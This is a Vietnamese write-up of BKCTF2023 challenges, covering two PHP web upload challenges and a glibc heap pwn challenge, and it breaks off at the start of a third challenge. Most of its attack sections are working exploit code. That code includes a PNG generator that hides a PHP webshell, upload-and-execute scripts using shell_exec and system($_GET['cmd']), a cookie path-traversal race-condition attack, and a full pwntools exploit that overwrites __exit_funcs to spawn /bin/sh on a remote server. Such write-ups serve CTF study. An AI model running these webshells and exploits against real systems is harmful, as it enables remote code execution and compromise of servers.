BKCTF2023 - webx2, pwnx2, revx2

25 minute read

Web

TaiPhung

Image Copy Resampled

Description

Link: http://13.212.34.169:30136

Source code here.

Solution

Trang chủ:

Trong index.php:

<?php

if(isset($_FILES['image'])){
    
    
    $upload_dir = "./uploads/";
    $file_name = $_FILES['image']['name'];
    $file_tmp = $_FILES['image']['tmp_name'];
    $file_type = $_FILES['image']['type'];
    $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
    $size_check = getimagesize($file_tmp);

    $allowed_ext = array('jpg', 'png', 'php');

    
    if(in_array($file_ext, $allowed_ext)){

        $image = imagecreatefromstring(file_get_contents($file_tmp));
        $cropped_image = imagecreatetruecolor(40, 40);
        imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
        $random_name = md5(uniqid(rand(), true));
        $new_file_name = $random_name . '.' . $file_ext;
        
        if ($file_ext === 'jpg' || $file_ext === 'png'  ) {
            //check size
            if ($size_check[0] < 40 || $size_check[1] < 40) { 
                echo "Ảnh của bạn hơi nhỏ. Chúng tôi cần ảnh lớn hơn 40x40 pixels\n<br>";
            } else {
                if($file_ext === 'jpg'){
                    imagejpeg($cropped_image, $upload_dir . $new_file_name);
                } else {
                    imagepng($cropped_image, $upload_dir . $new_file_name);
                }
                echo "ảnh đã được lưu tại đây\n<br>";
                echo $upload_dir;
                echo $new_file_name;  

                imagedestroy($image);
                imagedestroy($cropped_image);
            }
        } else {
            imagepng($cropped_image, $upload_dir . $new_file_name);
            echo "ảnh đã được lưu tại đây\n<br>";
            echo $upload_dir;
            echo $new_file_name;  

            imagedestroy($image);
            imagedestroy($cropped_image);
        }
    } else {        
        echo "Chỉ cho phép tải lên tệp JPG hoặc PNG và pHp ;D ? ? ?";
    }
}
?>

Có một số điểm chú ý:

  • Sử dụng hàm isset() để kiểm tra xem biến $_FILES['image'] có tồn tại hay không. Biến này sẽ chứa thông tin về tệp hình ảnh được tải lên.
  • $upload_dir: Đường dẫn thư mục nơi hình ảnh sẽ được lưu trữ.
  • $file_name: Tên của tệp hình ảnh ban đầu.
  • $file_tmp: Đường dẫn tạm thời của tệp hình ảnh trên máy chủ.
  • $file_type: Loại tệp (MIME type) của hình ảnh.
  • $file_ext: Phần mở rộng của tên tệp hình ảnh (được chuyển thành chữ thường).

=> ứng dụng web cho phép tải lên một tệp hình ảnh từ người dùng, đồng thời thực hiện thu nhỏ hình ảnh thành 40x40 pixel nếu là ảnh JPEG hoặc PND.

  • Giải thích cơ chế thu nhỏ ảnh: Hàm imagecopyresampled() tạo ra một bản sao thu nhỏ của hình ảnh ban đầu, có kích thước 40x40 pixel. Đây là cách làm thường được sử dụng để tạo ra các phiên bản hình ảnh nhỏ hơn để hiển thị trên trang web hoặc ứng dụng mà không làm mất chất lượng quá nhiều.

Dưới đây là phần mã liên quan đến cơ chế nén ảnh:

$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));

  • Ý tưởng:
    • upload ảnh chứa payload
    • payload cần phù hợp để khi bị nén cũng không bị mất đi dữ liệu

Mình tìm kiếm theo từ khóa PHP-GD thì thấy một số kỹ thuật hay:

Tham khảo ở đây: https://book.hacktricks.xyz/pentesting-web/file-upload

Xem các khai thác được cung cấp ta sử dụng các script này:

Mình dùng script payloads/generators/gen_idat_png.php

<?php
 
header('Content-Type: image/png');
 
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0>
 
$img = imagecreatetruecolor(55, 55);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
 
imagepng($img);
?>

Script này sẽ tạo ra một hình ảnh 110x110 pixel sau đó nén thành 55x55 pixel với payload được sử dụng là <?=$_GET[0]($_POST[1]);?>

Mình sẽ đổi thành 80x80 pixel để khi nén sẽ thành 40x40 pixel phù hợp với điều kiện.

<?php
 
header('Content-Type: image/png');
 
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0>
 
$img = imagecreatetruecolor(80, 80);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
 
imagepng($img);
?>

Run script:

┌──(taiwhis㉿kali)-[~/bkctf/bkctf2023-imagecopyresampled/exploit]
└─$ php gen_idat_png.php > text.php

Upload file test.php lấy đường dẫn file

Gọi shell:

curl -XPOST -d '1=ls /''http://localhost:1337/uploads/00f3e6fd392783b349714e3f860fde3b.php?0=shell_exec'

Và mình nhận được flag.

Tại thời điểm mình viết wu thì server không hoạt động nữa nên không có flag nhé :hamburger:

Script

import sys
import requests
from bs4 import BeautifulSoup
import subprocess

def main(url, file_upload, command_post):
    headers = {
        "Host": url.split("//")[1].split(":")[0],
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36",
        "Referer": url,
        "Cookie": "user=BKSEC_guest",
    }

    files = {
        "image": ("admin.php", open(file_upload, "rb"), "application/octet-stream")
    }

    res = requests.post(url, headers=headers, files=files)

    soup = BeautifulSoup(res.text, 'html.parser')
    br_tag = soup.find('br')
    image_path = br_tag.next_sibling.strip()

    curl_path = "curl"
    path = image_path[1:] + "?0=shell_exec"

    curl_command = [curl_path, "-XPOST", "-d", command_post, f"{url}{path}"]

    try:
        result = subprocess.run(curl_command, capture_output=True, text=True, encoding="ISO-8859-1", check=True)
        output = result.stdout
        print("Flag:")
        print(output)
    except subprocess.CalledProcessError as e:
        print("Lỗi:", e)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python script.py <url> <file_upload> <command_post>")
    else:
        url = sys.argv[1]
        file_upload = sys.argv[2]
        command_post = sys.argv[3]
        main(url, file_upload, command_post)

Result:

┌──(root㉿kali)-[/home/…/bkctf/bkctf2023-imagecopyresampled/exploit/test]
└─# python 4.py "http://18.141.143.171:32290/" "test.php" "1=cat /flagdSXlS.txt"
Flag:
PNG
▒

IHDR(/: pHYsÄÄ+IDATXc\BKSEC{Php_Gd_iDa7_cHunk_65150cb4cdc2a10d714ed00941de058c}X  ð
                                                                                   Ï×-oLaþª7ÝC?àÁ¦F+mb6Jæålä~xM_ZÁfµ8üÛ~_Ó}ª'÷ñãÉ¿_ï|²00cÙÉÃpð÷õÈìH'w4XÜý¹eºÃ?ÙFÁ(▒£`Q0
FÁ(▒£`Q0
FÁ( Z)4wâ,IEND®B`

Flag: BKSEC{Php_Gd_iDa7_cHunk_65150cb4cdc2a10d714ed00941de058c}

Metadata checker

Description

Link: http://18.141.143.171:30037

Source code here.

Solution

Upload ảnh bất kỳ thì thấy như này:

Tên ảnh được thay đổi thành bằng cách gộp: cookie + timestamp + tên ảnh ban đầu.

Bài này y chang một bài mình từng đọc ở blog của vnpt.

  • Đây là một bài upload file via race condition, tham khảo chi tiết tại blog này: https://sec.vnpt.vn/2023/05/exploiting-file-upload-vulnerability-with-race-conditions-challenge-for-you

Source code chỉ có 1 file index.php là đáng chú ý.

<?php
error_reporting(0);

setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days

if (isset($_FILES) && !empty($_FILES)) {
    $uploadpath = "/var/tmp/";
    $error = "";
    
    $timestamp = time();

    $userValue = $_COOKIE['user'];
    $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];

    move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);

    if ($_FILES["image"]["size"] > 1048576) {
        $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
    } elseif ($_FILES["image"]["type"] !== "image/jpeg") {
        $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
    } else {
      $exif = exif_read_data($target_file, 0, true);

      if ($exif === false) {
          $error .= '<p class="h5 text-danger">No metadata found.</p>';
      } else {
          $metadata = '<table class="table table-striped">';
          foreach ($exif as $key => $section) {
              $metadata .=
                  '<thead><tr><th colspan="2" class="text-center">' .
                  $key .
                  "</th></tr></thead><tbody>";
              foreach ($section as $name => $value) {
                  $metadata .=
                      "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
              }
              $metadata .= "</tbody>";
          }
          $metadata .= "</table>";
      }
    }
}
?>
<!DOCTYPE html>
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
<html lang="en" data-bs-theme="auto">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>BKSEC Metadata checker</title>
  <link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
  <link href="assets/dist/css/checkout.css" rel="stylesheet">
  <link rel="icon" href="assets/images/logo.png" type="image/png">
</head>

<body class="bg-body-tertiary">

  <div class="container">
    <main>
      <div class="py-5 text-center">
        <a href="/"><img class="d-block mx-auto mb-4"  src="assets/images/logo.png" alt="" width="72"></a>
        <h2>BKSEC Metadata checker</h2>
        <p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
      </div>
      <form action="/index.php" method="post" enctype="multipart/form-data">
        <label class="h5 form-label">Upload your image</label>
        <input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
        <div class="col text-center">
            <button class="btn btn-primary btn-lg" type="submit">Upload</button>
        </div>
      </form>
	    <?php
        // I want to show a loading effect within 1.5s here but don't know how
        sleep(1.5);
        // This might be okay..... I think so
        // My teammates will help me fix it later, I hope they don't forget that
        echo $error;
        echo $metadata;
        unlink($target_file);
        ?>
    </main>

    <footer class="my-5 pt-5 text-body-secondary text-center text-small">
      <p class="mb-1">&copy; 2023 CLB An Toàn Thông Tin - BKHN</p>
    </footer>
  </div>
  <script src="assets/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
  • Chỗ này có Path travesal.

Để ý tới phần $target_file: $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];

Phần $uploadpath = "/var/tmp/"; , $timestamp = time(); Phần cookie $userValue = $_COOKIE['user']; có thể chỉnh sửa để path travesal upload ra một thư mục khác

Ý tưởng:

  • Tạo một hình ảnh chứa payload <?php system($_GET['cmd']);?>
  • Sửa Cookie để path reavesal upload qua một thư mục khác với extension là .php BKSEC_guest => ../../var/www/html/assets/images/

  • Gọi tới hình ảnh và thực thi lệnh

Mình bật burp intruder để upload liên tục và gọi một intruder khác để gọi tới file ảnh sau upload với timestamp tăng dần.

Mất khoảng 30 phút thì mình có flag

Script

Web cookie han hoan dead quá, lúc mình viết writeup mình chưa lấy dc flag mới.

script trên local như sau:

import sys
import requests
from datetime import datetime

if len(sys.argv) != 5:
    print("Usage: python script.py url file_name cookie_value cmd")
    sys.exit(1)

url = sys.argv[1]
file_name = sys.argv[2]
cookie_value = sys.argv[3]
cmd = sys.argv[4]

file = {'image': (file_name, open(file_name, 'rb'), 'image/jpeg')}

cookie = {"user": cookie_value}

res = requests.post(url + 'index.php', files=file, cookies=cookie)

date_string = res.headers.get('Date')
print(date_string)

timestamp = int(datetime.strptime(date_string, '%a, %d %b %Y %H:%M:%S %Z').timestamp()) - XXXXX # phải thay đổi ở chỗ này.

print("Date string:", date_string)
print("Timestamp:", timestamp)

urls = url + f'assets/images/_{timestamp}_{file_name}?cmd={cmd}'

print('url:', urls)

res = requests.get(urls)
print('Result:', res.text)

Result:

┌──(root㉿kali)-[/home/…/downloadable/metadata-checker/docker-php-helloworld/src]
└─# python '9.py' 'http://localhost:1337/' 'payload.php' '../www/html/assets/images/' 'id'
Tue, 22 Aug 2023 11:54:15 GMT
Date string: Tue, 22 Aug 2023 11:54:15 GMT
Timestamp: 1692705255
url: http://localhost:1337/assets/images/_1692705255_payload.php?cmd=id
Result: abcbcbuid=33(www-data) gid=33(www-data) groups=33(www-data)

PWN

Author: Hoàng Việt

CLASS MANAGER

Chạy chương trình hoặc nhìn tên chương trình thì đây là 1 bài heap

Decompile program

Hàm main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 choice[2]; // [rsp+0h] [rbp-10h] BYREF

  choice[1] = __readfsqword(0x28u);
  puts("Four options to manage students in a class:");
  puts("1. Add a student to the class.");
  puts("2. Show name of a student.");
  puts("3. Delete a student.");
  puts("4. Exit.");
  fflush(_bss_start);
  while ( 1 )
  {
    printf("Enter your choice: ");
    fflush(_bss_start);
    __isoc99_scanf("%lld", choice);
    switch ( choice[0] )
    {
      case 1LL:
        AddStudent();
        break;
      case 2LL:
        ShowStudent();
        break;
      case 3LL:
        DeleteStudent();
        break;
      case 4LL:
        exit(0);
      case 5LL:
        if ( key )
          key("%lld", 0LL);
        break;
      default:
        puts("Invalid choice.");
        break;
    }
  }
}
  • Nó chỉ in ra menu rồi yêu cầu người dùng nhập lựa chọn

Hàm Add

unsigned __int64 AddStudent()
{
  __int64 i; // [rsp+0h] [rbp-20h] BYREF
  size_t size; // [rsp+8h] [rbp-18h] BYREF
  void *name; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  i = -1LL;
  printf("Where to put that student in the database: ");
  __isoc99_scanf("%lld", &i);
  if ( CheckID(i) )
  {
    printf("Length of that student's name: ");
    __isoc99_scanf("%lld", &size);
    if ( (__int64)size <= 4095 && (__int64)size > 0 )
    {
      if ( sz[i] != ++size || !*((_QWORD *)&::name + i) )
      {
        name = malloc(size);
        if ( !name )
        {
          puts("Can not create!");
          return v4 - __readfsqword(0x28u);
        }
        *((_QWORD *)&::name + i) = name;
        sz[i] = size;
      }
      printf("Enter the name: ");
      fflush(_bss_start);
      read(0, *((void **)&::name + i), size - 1);
    }
  }
  return v4 - __readfsqword(0x28u);
}
  • Đầu tiên nó yêu cầu người dùng nhập index để lưu vào 1 mảng chứa các con trỏ trỏ đến tên học sinh
  • Index này sẽ được đưa vào hàm CheckID để kiểm tra
_BOOL8 __fastcall CheckID(unsigned __int64 a1)
{
  return a1 <= 0x13;
}
  • Như vậy index tối đa sẽ là 19
  • Tiếp đến là yêu cầu người dùng nhập size và cái size này sẽ được lưu trên mảng size tương ứng với cái index. Nó kiểu tra cái size mà người dùng nhập có trùng với size[i] không nếu có thì ghi đè lên địa trỉ cũ lưu tại name[i] không thì sẽ malloc 1 con trỏ mới để ghi
  • Cuối cùng chỉ là nhập tên

Hàm Show

unsigned __int64 ShowStudent()
{
  unsigned __int64 i; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  i = -1LL;
  printf("Input student ID: ");
  __isoc99_scanf("%lld", &i);
  if ( CheckID(i) && *((_QWORD *)&name + i) )
    printf("%s", *((const char **)&name + i));
  return v2 - __readfsqword(0x28u);
}
  • Nó yêu cầu nhập index rồi đưa qua hàm CheckID nếu ok thì in ra name[i]

Hàm Delete

unsigned __int64 DeleteStudent()
{
  unsigned __int64 i; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  i = -1LL;
  printf("Input student ID: ");
  __isoc99_scanf("%lld", &i);
  if ( CheckID(i) && *((_QWORD *)&name + i) )
    free(*((void **)&name + i));
  return v2 - __readfsqword(0x28u);
}
  • Nó yêu cầu index rồi kiểm tra qua hàm CheckIDname[i] != NULL rồi free(name[i])
  • Hàm này không clear name[i] sau khi free nên ở đây là lỗi UAF

Abuse __exit_funcs

  • Ở đây chương trình dùng libc 2.35, không sử dụng __malloc_hook hay __free_hook nữa thì ở đây mình sẽ fake cái __exit_funcs được dùng khi gọi exit
void exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
  • Khi gọi exit thì nó sẽ gọi đến __run_exit_handlers với tham số thứ 2 ở đây là __exit_funcs
void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur = *listp;

      if (cur == NULL)
	{
	  /* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */
	  __exit_funcs_done = true;
	  break;
	}

      while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  switch (f->flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);
	      void *arg;

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;
	      arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (onfct);
#endif
	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      onfct (status, arg);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_at:
	      atfct = f->func.at;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (atfct);
#endif
	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      atfct ();
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f->flavor = ef_free;
	      cxafct = f->func.cxa.fn;
	      arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (cxafct);
#endif
	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      cxafct (arg, status);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    }

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    /* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */
            continue;
	}

      *listp = cur->next;
      if (*listp != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (cur);
    }

  • Ở đây chúng ta không quan tâm đến cái __call_tls_dtors
  • Biến cur ở đây được set là __exit_funcs mà chúng ta pass cho hàm này với type là exit_function_list
enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
  • Nó là 1 cái linked list, idx ở đây được dùng như 1 biến đếm và làm index cho fns
  • fns là 1 mảng gôm các exit_function struct. flavor ở đây như là 1 cái type của function, giá trị của nó sẽ là ở 1 trong cái enum kia, đại loại là sẽ là chọn gọi func với tham số hay với cái gì đó…
  • Hàm __run_exit_handlers sẽ duyệt qua struct rồi gọi func nhưng trước đó nó gọi PTR_DEMANGLE để lấy được con trỏ hàm vì con trỏ này trước khi đưa vào struct thì sẽ được mã hóa
#  define PTR_MANGLE(var)	asm ("xor %%fs:%c2, %0\n"		      \
				     "rol $2*" LP_SIZE "+1, %0"		      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

  • PTR_DEMANGLE sẽ đơn giản rotate right pointer 0x11 bit về bên phải rồi xor với fs:0x30 rồi sau đó được gọi
  • FS lưu trữ thread block control ở tcbhead_t struct
typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;
  • Offset 0x30 ở đây là trỏ đến pointer_guard, như vậy thì để fake được func thì chúng ta cần phải leak được pointer_guard
  • Chúng ta chỉ cần leak được pointer đã mã hóa rồi xor với hàm mà nó trỏ tới là sẽ có được pointer_guard
  • Mặc định cái hàm nó trỏ tới ở đây sẽ là _dl_fini, debug chương trình sẽ thấy
  • Nhưng mà hàm này lại ở trên ld.so như vậy cần leak được cả ld
  • Ở trên libc mình tìm thấy có 1 chỗ chứa giá trị của ld
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000000000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7c28000 0x00007ffff7dbd000 0x0000000000028000 r-x /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7dbd000 0x00007ffff7e15000 0x00000000001bd000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e15000 0x00007ffff7e19000 0x0000000000214000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e19000 0x00007ffff7e1b000 0x0000000000218000 rw- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e1b000 0x00007ffff7e28000 0x0000000000000000 rw- 
0x00007ffff7fb8000 0x00007ffff7fbd000 0x0000000000000000 rw- 
0x00007ffff7fbd000 0x00007ffff7fc1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc1000 0x00007ffff7fc3000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7fc5000 0x00007ffff7fef000 0x0000000000002000 r-x /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7fef000 0x00007ffff7ffa000 0x000000000002c000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000037000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000039000 rw- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤  x/xg 0x00007ffff7c00000 + 0x219010
0x7ffff7e19010:	0x00007ffff7fd8d30
gef➤  p 0x00007ffff7fd8d30 - 0x00007ffff7fc3000
$1 = 0x15d30

Cái này mọi người có thể đọc ở đây

Exploit

  • Đầu tiên malloc 9 chunks với size mà khi free sẽ không bị đưa vào fastbin. Sau đó free 8 chunks đầu. Gọi hàm Show để leak libc và heap
  • Ở đây con trỏ fd trên heap sẽ được xor trước khi đặt vào. Nó sử dụng safe linking, xor với địa chỉ heap shift 12 bit
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
  • Việc đưa nó về con trỏ ban đầu cũng đơn giản vì 12 bits cuối sẽ giữ nguyên
  • Ăn trộm mã giải trên gg thì mình có
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
  • Rồi bầy giờ có libc và heap rồi thì exploit cái tcache để có arbitrary write
  • Có libc rồi thì sẽ leak được ld để có _dl_fini
  • Tóm lại cái fake exit_function struct sẽ như này sau khi fake

  • func trỏ đến system, arg trỏ đến /bin/sh

  • Chạy trên server và không có tác dụng, vì cái offset của ld sẽ khác, trên local thì là 0x15d30 còn trên server sẽ thay đổi 1 chút là 0x15c30

  • Bài này có lẽ sau khi có ld là sẽ có thể đọc ld để leak PIE nữa nhưng mình quên

Script

from pwn import *

slnaf = lambda delim, data: p.sendlineafter(delim, data)
saf = lambda delim, data: p.sendafter(delim, data)

elf = context.binary = ELF('babyheap')
libc = ELF('libc.so.6')
ld = ELF('ld-linux-x86-64.so.2')


def create_student(i, length, name):
    slnaf(b'our choice: ', b'1')
    slnaf(b'Where to put that student in the database: ', str(i).encode())
    slnaf(b'Length of that student\'s name: ', str(length).encode())
    slnaf(b'Enter the name: ', name)
def show(i):
    slnaf(b'your choice: ', b'2')
    slnaf(b'Input student ID: ', str(i).encode())
def delete(i):
    slnaf(b'your choice: ', b'3')
    slnaf(b'Input student ID: ', str(i).encode())
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
def rightRotate(n, d):
	return (n >> d)|(n << (64 - d)) & 0xffffffffffffffff
def leftRotate(n, d):
     return ((n << d)|(n >> (64 - d))) & 0xffffffffffffffff

p = remote('13.212.34.169', 31527)
#p = process()
#gdb.attach(p, gdbscript='''c''')
NAME = 0x4040c0
KEY = 0x4040a0
STACK = 0x21a530
LIBC_STACK_END = 0x449a90
LEAK_LD_OFFSET = 0x219010
LD_OFFSET = 0x15c0a
_DL_FINI = 0x6040
create_student(0, 0xa0, b'A') 
create_student(1, 0xa0, b'A')
create_student(2, 0xa0, b'A') 
create_student(3, 0xa0, b'A')
create_student(4, 0xa0, b'A') 
create_student(5, 0xa0, b'A')
create_student(6, 0xa0, b'A') 
create_student(7, 0xa0, b'A')
create_student(8, 0xa0, b'A')
for i in range(8):
    delete(i)
show(7)
leak = p.recv(6)
leak = int.from_bytes(leak, byteorder='little')
libc.address = leak - 0x219ce0
print('leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))
show(6)
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: {}'.format(hex(leak)))
heap = leak & 0xffffffffffff0000
#for i in range(0xf):
#    tmp = heap + (i << 12)
#    if(((tmp + 0x6c0) >> 12) ^ (tmp + 0x610) == leak):
#        heap = tmp
#        break
heap = deobfuscate(leak)
heap = (heap >> 12) << 12
print('heap: {}'.format(hex(heap))) 
ONE_GADGET = 0xebcf8
create_student(6, 0xa0, p64(((heap + 0x6c0) >> 12) ^ (libc.address + LEAK_LD_OFFSET)))
create_student(9, 0xa0, b'A')
create_student(10, 0xa0, b'')
show(10)
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
ld.address = leak - LD_OFFSET
print('leak: {}'.format(hex(leak)))
print('ld: {}'.format(hex(ld.address)))
create_student(0, 0x30, b'A')
create_student(1, 0x30, b'A')
delete(1)
delete(0)
create_student(0, 0x30, p64(((heap + 0x770) >> 12) ^ (libc.address + 0x21af00))) # value in __exit_funcs plus n
create_student(2, 0x30, b'A')
create_student(3, 0x30, b'A'*0x17)
show(3)
p.recvuntil(b'\x41\x41\n')
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: {}'.format(hex(leak)))
pointer_guard = rightRotate(leak, 0x11) ^ (ld.address + _DL_FINI)
print('pointer guard: {}'.format(hex(pointer_guard)))
pointer_encoded = leftRotate((libc.symbols['system'] ^ pointer_guard), 0x11)
print(hex(pointer_encoded))
create_student(3, 0x30,p64(0) + p64(1) + p64(4) + p64(pointer_encoded) + p64(next(libc.search(b'/bin/sh\x00'))))

slnaf(b'your choice: ', b'4')
p.interactive()

File scanner

Chạy chương trình thì nó hỏi có phải huster không, ehhh không Nhập vào ID rồi nó thoát

Decompile program

Hàm main

